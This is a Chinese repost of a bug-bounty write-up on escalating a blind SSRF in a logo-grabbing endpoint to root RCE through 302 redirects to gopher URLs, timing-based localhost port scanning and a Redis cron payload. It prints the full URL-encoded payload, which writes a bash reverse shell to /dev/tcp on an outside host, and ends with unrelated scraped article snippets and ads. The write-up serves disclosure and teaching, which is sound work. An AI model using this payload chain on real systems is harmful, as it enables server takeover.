记一次从盲SSRF到RCE

article/2025/11/5 13:25:37

公粽号:黒掌
一个专注于分享网络安全、黑客圈热点、黑客工具技术区博主!

一 前言

发现此漏洞的漏洞赏金计划不允许公开披露,因此我不会直接使用涉及的系统名称。该项目是发布在Hackerone时间最长漏洞奖金最大的项目之一, Hackerone上有很多关于该项目的黑客事件。这是一家很强大的公司,拥有世界一流的安全团队并且多年来有大量安全专家对这家公司进行测试,这使该漏洞的存在更加令人惊讶。

二 侦查

一般来说,对于一个大范围的漏洞赏金项目,我会进行子域名枚举来增加攻击面,但在本例中,我专注于单一的web目标系统。因为我只关注一个web应用程序,所以我首先使用GAU(https://github.com/lc/gau) 工具获取url和参数列表。我还查看了各种javascript文件中隐藏的参数,并使用Ffuf(https://github.com/ffuf/ffuf) 工具进行了一些目录模糊处理。通过这些方法,我发现了一些有趣的参数,但没有发现什么脆弱点。

由于第一种侦查方法没有发现任何问题,因此我尝试了另一种方法。在后台运行Burp代理测试Web应用程序的各种功能,发出的所有请求都存储在Burp中,这使我可以轻松查看所有请求中是否有有趣或潜在的漏洞。在测试了Web应用程序的功能之后,我开始浏览存储在代理日志中的请求,并遇到了类似于以下的请求

GET /xxx/logoGrabber?url=http://example.com
Host: site.example.com
...

带有url参数的GET请求。此请求的响应如下所示,其中包含有关URL的标题和徽标的信息:

{"responseTime":"99999ms","grabbedUrl":"http://example.com","urlInfo":{"pageTitle":"Example Title","pageLogo":"pagelogourl"}}

该请求立即引起了我的兴趣,因为它正在返回有关URL的一些数据。每当您遇到从URL返回信息的请求时,最好测试一下SSRF。

三 发现SSRF

我第一次尝试SSRF失败,我能够与服务器进行外部交互,但由于受到了适当的保护,因此无法访问任何内部IP地址。
在无法访问任何内部IP地址之后,我决定查看是否可以访问该公司的任何公众已知的公司子域。我为目标做了一些子域枚举,然后对所有枚举的子域名进行尝试。最终,我很幸运,发现一些无法公开访问的站点返回了标题数据等信息。
举一个子域名(somecorpsite.example.com)的例子:当我尝试http://somecorpsite.example.com 在浏览器中访问时,该请求超时。但当我提交请求时:

GET /xxx/logoGrabber?url=http://somecorpsite.example.com
Host: site.example.com
...

响应包含内部标题和徽标信息:

{"responseTime":"9ms","grabbedUrl":"http://somecorpsite.example.com","urlInfo":{"pageTitle":"INTERNAL PAGE TITLE","pageLogo":"http://somecorpsite.example.com/logos/logo.png"}}

现在,我可以通过访问内部子域来访问该域名的标题和徽标,因此我决定以盲SSRF提交报告。内部标题信息没有太敏感的内容,也没有返回其他页面内容,因此我认为这将被认为是影响力很小的盲SSRF,但是我没有想法将其升级,并决定按现状报告。一段时间后,该报告被接受并进行了分类。

四 RCE

自从我的原始报告进行分类以来,已经过去了大约一个月。我对它进行了分类感到很兴奋,但是知道影响很小,而且我可能不会从中得到很多赏金。SSRF仍然存在尚未修复,因此我决定进行更多研究以尝试进一步升级。在研究过程中,我了解到Gopher协议是升级SSRF的绝佳方法,在某些情况下可以导致完全远程执行代码。为了测试是否支持gopher协议,我提交了类似于以下内容的请求:

GET /xxx/logoGrabber?url=gopher://myburpcollaboratorurl
Host: site.example.com
...

不幸的是,请求立即失败并导致服务器错误。没有向我的Burp发出任何请求,因此好像不支持gopher协议。在继续测试的同时,我在线阅读了重定向通常是绕过某些SSRF保护的一种好方法,因此我决定测试服务器是否遵循重定向。为了测试重定向是否有效,我设置了一个Python http服务器,该服务器将所有GET流量都重定向到了Burp中的url。

python3 302redirect.py port “http://mycollaboratorurl/

然后我提交了如下请求,以查看重定向是否到了我的Burp中:

GET /xxx/logoGrabber?url=http://my302redirectserver/
Host: site.example.com
...

在提交请求后,我注意到重定向被跟踪,请求了我Burp中的url。所以现在我已经验证了重定向被跟踪了。现在我知道可以重定向了,我决定用gopher协议测试它。最初在请求中提交gopher负载会直接导致服务器错误,因此我将重定向服务器。设置如下以测试gopher是否可以通过重定向工作:

python3 302redirect.py port “gopher://mycollaboratorurl/

然后再次提交请求

GET /xxx/logoGrabber?url=http://my302redirectserver/Host: site.example.com...

令我惊讶的是,它是成功的。重定向后在我的Burp中得到了一个请求。有一些针对Gopher协议的过滤器,但是如果我从自己的服务器重定向,它就会绕过过滤,重定向之后Gopher执行有效负载!gopher的有效负载可以通过302重定向执行,而且我意识到使用gopher我现在还可以访问以前过滤过的内部IP地址,比如127.0.0.1。
既然Gopher的有效载荷可以工作,并且可以攻击内部主机,我就必须弄清楚我可以与哪些服务交互,以便升级。在做了一些搜索之后,我发现了一个工具Gopherus(https://github.com/tarunkant/Gopherus), 它生成gopher有效载荷来升级SSRF。它包含以下服务的有效负载:
MySQL (Port-3306)
FastCGI (Port-9000)
Memcached (Port-11211)
Redis (Port-6379)
Zabbix (Port-10050)
SMTP (Port-25)
为了确定上面的端口是否在127.0.0.1上打开,我使用SSRF进行端口扫描。通过302将我的网络服务器重定向到gopher://127.0.0.1:port, 然后提交请求

GET /xxx/logoGrabber?url=http://my302redirectserver/Host: site.example.com...

我可以识别打开的端口,因为如果端口关闭,请求的响应时间会很长;如果端口打开,请求的响应时间会很短。使用这种端口扫描方法,我检查了上述所有6个端口。一个端口似乎是开放的-端口6379(Redis)

302redirect → gopher://127.0.0.1:3306 [Response time: 3000ms]-CLOSED302redirect → gopher://127.0.0.1:9000 [Response time: 2500ms]-CLOSED302redirect → gopher://127.0.0.1:6379 [Response time: 500ms]-OPENetc…

现在一切看起来都很好。我好像拥有了我所需要的一切:
302重定向接受Gopher协议
能够用gopher有效载荷攻击localhost
已识别在本地主机上运行的潜在易受攻击的服务
使用Gopherus,我生成了一个Redis反向shell负载,结果如下所示:

gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2469%0D%0A%0A%0A%2A/1%20%2A%20%2A%20%2A%20%2A%20bash%20-c%20%22sh%20-i%20%3E%26%20/dev/tcp/x.x.x.x/1337%200%3E%261%22%0A%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2414%0D%0A/var/lib/redis%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%244%0D%0Aroot%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A

如果这个有效负载执行成功,它将使netcat侦听器获得反向shell。我启动服务器302重定向到gopher负载,如下所示:

python3 302redirect.py port"gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2469%0D%0A%0A%0A%2A/1%20%2A%20%2A%20%2A%20%2A%20bash%20-c%20%22sh%20-i%20%3E%26%20/dev/tcp/x.x.x.x/1337%200%3E%261%22%0A%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2414%0D%0A/var/lib/redis%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%244%0D%0Aroot%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A"

我启动了我的web服务器,我还启动了Netcat侦听器,端口1337,以捕获任何传入的反向shell。然后最后是关键时刻,我提交了请求:

GET /xxx/logoGrabber?url=http://my302redirectserver/Host: site.example.com...

什么都没有,什么都没发生。我看到一个请求到达我的重定向服务器,但是没有反向shell返回到我的netcat。就这样结束了,我想,对我来说没什么。我觉得我的端口扫描结果可能是假的,可能本地主机上没有运行Redis服务器。我接受了失败,开始关闭一切。我把鼠标放在运行netcat的终端上的X按钮上,打算几毫秒后点击关闭它,突然我真的不知道为什么这么晚,但大约5分钟后,我收到了一个反向shell。我很高兴我一直在监听,否则我永远不会知道我得到了RCE
img
我运行whoami来验证我有RCE(我是root!),然后立即断开连接并用新信息更新了我的原始报告。该漏洞于2020年5月发现/报告,目前已解决。我最终得到了15000美元的赏金,以及公司安全团队的一些赞美:
img

原文链接:

https://sirleeroyjenkins.medium.com/just-gopher-it-escalating-a-blind-ssrf-to-rce-for-15k-f5329a974530
扫码领取黑客大礼包

今天的分享就到这里,喜欢的小伙伴记得一键三连,我有一个公粽号【黒掌】, 可以免费获取更多黑客秘籍,欢迎来耍!


http://chatgpt.dhexx.cn/article/tkpmAR2w.shtml

相关文章

002.光流传感器(ADNS0380版)使用说明

先放广告,以下是光流传感器购买地址(全网最低价并且唯一提供代码支持的): https://item.taobao.com/item.htm?spma230r.1.14.63.j2eDn3&id541014211123&ns1&abbucket12#detail 如果模块直接使用在APM飞控上请看下文标…

003.关于光流传感器(ADNS3080)调焦问题

关于光流传感器使用官方网址如下: http://ardupilot.org/copter/docs/common-mouse-based-optical-flow-sensor-adns3080.html 微信公众号:嵌入式大玩家 更多精彩文章我将第一时间在微信公众号里面分享,如果不想错过,可以关注我的微信公众号。…

腾讯笔试题——逆序对

这题花了我非常多时间,ac率从10% --> 50% --> 60% --> 70% --> 80% --> 100% ,被这题疯狂支配几个小时! 最关键没有详细的题解可以参考,大数据…

2020秋招腾讯后台笔试题(一)

点击上方蓝字设为星标 下面开始今天的学习~ 这是2020届腾讯秋招的笔试题,其实就是19年九月份的题目,总共五道题,这篇文章写说两道题,都是有关于栈的应用的 01 压缩算法 小Q想要给他的朋友发送一个神秘字符串&#xff0…

腾讯笔试-1

1、什么是运维?什么是游戏运维?1)运维是指大型组织已经建立好的网络软硬件的维护,就是要保证业务的上线与运作的正常,在他运转的过程中,对他进行维护,他集合了网络、系统、数据库、开发、安全、…

腾讯 C++ 笔试/面试题及答案

星标/置顶 公众号👇,硬核文章第一时间送达! 链接 | https://zhuanlan.zhihu.com/p/274473971 题很多,先上题后上答案,便于大家思考 问题点: 1、C和C的特点与区别? 2、C的多态 3、虚函数实现 4、…

腾讯2020校园招聘笔试

输入1: 2 2 1 1 1 1 输出1: 0 输入2: 2 2 1 2 2 1 输出2: 2 import java.util.Scanner; public class Main { public static void main(String[] args) {// TODO Auto-generated method stubScanner scnew Scanner(Syste…

腾讯笔试题20210321

一、链表树 时间限制:C/C 1秒,其他语言 2秒 空间限制:C/C 262144K,其他语言 524288K 64bit IO Format: %lld 题目描述 在牛牛所在的世界,链表是一种二叉树。 这是牛牛第一次见到链表树,他感到十分好奇&a…

腾讯2021批笔试题解

总结:一套算是正常的笔试…算是让大家有点思考了…都没那么一眼秒(除了强烈谴责某T5最短路板子。我还差点没看到这题hhh(( (另一套题的T5) T5 题目大意:给出n个红球,n个黑球&#x…

腾讯笔试题精选一

1.32位机上根据下面的代码,问哪些说法是正确的?() signed char a 0xe0 unsigned int b a; unsigned char c a; A. a>0 && c>0 为真 B.a c 为真 C.b的十六进制表示是:0xfffffe0 D.上面都不对 sig…

腾讯笔试题_20220424

前言 笔试一共五道编程题,满分是100分,时间是两个小时,可以跳题,使用的平台是牛客网,允许跳出界面使用本地IDE。 题目一:构建数字 给定n个长度均为m的数字字符串,从上往下构建成m个新的数&am…

笔试面试(1)腾讯2014校园招聘软件开发类笔试试题

把基本经典的书籍认真看看,那些笔试面试的都不是什么问题。但是,专门的突击和训练还是很有必要的。 好的offer是可以通过充分的准备刷到的。 我们就从各大公司的套题开始刷起吧,中间再穿插一些专题。 今天先看看腾讯的2014年校招的软开笔试题。 考试时长:120分钟 一 不定项…

腾讯近三年软件测试工程师面试笔试题目精选(包含答案)

目录 1、什么是兼容性测试?兼容性测试侧重哪些方面? 2、我现在有个程序,发现在 Windows 上运行得很慢,怎么判别是程序存在问题 还是软硬件系统存在问题? 3、测试的策略有哪些? 4、正交表测试用例设计方法的特点是什么? 5、描述使用 bugzilla 缺…

Dev ChartControl 显示设置百分比

**Dev ChartControl 显示设置百分比**//Y轴设置成百分数显示((XYDiagram)Chart.Diagram).AxisY.Label.TextPattern "{V:0%}";//显示的值为百分数 for (int j 0; j < Chart.Series.Count; j){Series march Chart.Series[j];march.CrosshairLabel…

DevExpress——ChartControl知多少(C#)

目前在做的这个项目后端是使用.NET框架在做,前端是借助DevExpress框架做开发,由于是基于Winform的页面实现,于是DevExpress提供了全套的Winform的解决方案,弥补了Winform本身的工具箱不全且不再维护的弊端。DevExpress提供的表图控件叫做ChartControl,在其上面可以完成图表…

Dev中的ChartControl的Y轴显示单位

1.点击Y轴,打开属性 2.找到Title属性,设置其中的 Alignment(单位文本显示的位置) Font(文本字体大小) Text(文本内容) TextColor(文本颜色) Visibility(可见性) 设置完成后即可在图中看到设置效果

DEV控件之ChartControl用法 z

一、总体概述 这个控件包含3层&#xff0c;最外面的chartControl层、中间的XYDiagram层、最里面的Series层。功能非常强大&#xff0c;但同时使用起来也相对复杂&#xff0c;需要各个层之间相互协调设置才能达到自己想要的效果。 二、chartControl层 像DEV的其它控件一样&#…

ChartControl控件绘制柱状图

1、新建一个DevExpress窗体&#xff08;不要用WinForm窗体&#xff09; 2、拖入一个chartcontrol控件 3、鼠标右键&#xff0c;点击run designer 添加两个series 4、代码设置 数据库表结构&#xff0c;我的想法是统计办事员和售货员的人数 数据库查询语句 select job,co…

C# WPF图表控件之ChartControl用法指南①

“ 引言部分&#xff0c;总领全篇文章的中心内容。” WPF的DevExpress ChartControl是一种功能强大的可视化工具&#xff0c;可帮助您将数据显示为二维或伪三维条形图、区域、线和许多其他形式。 01 — 将数据绑定到Chart Series Step 1. 创建新项目并添加图表 创建一个新的WPF…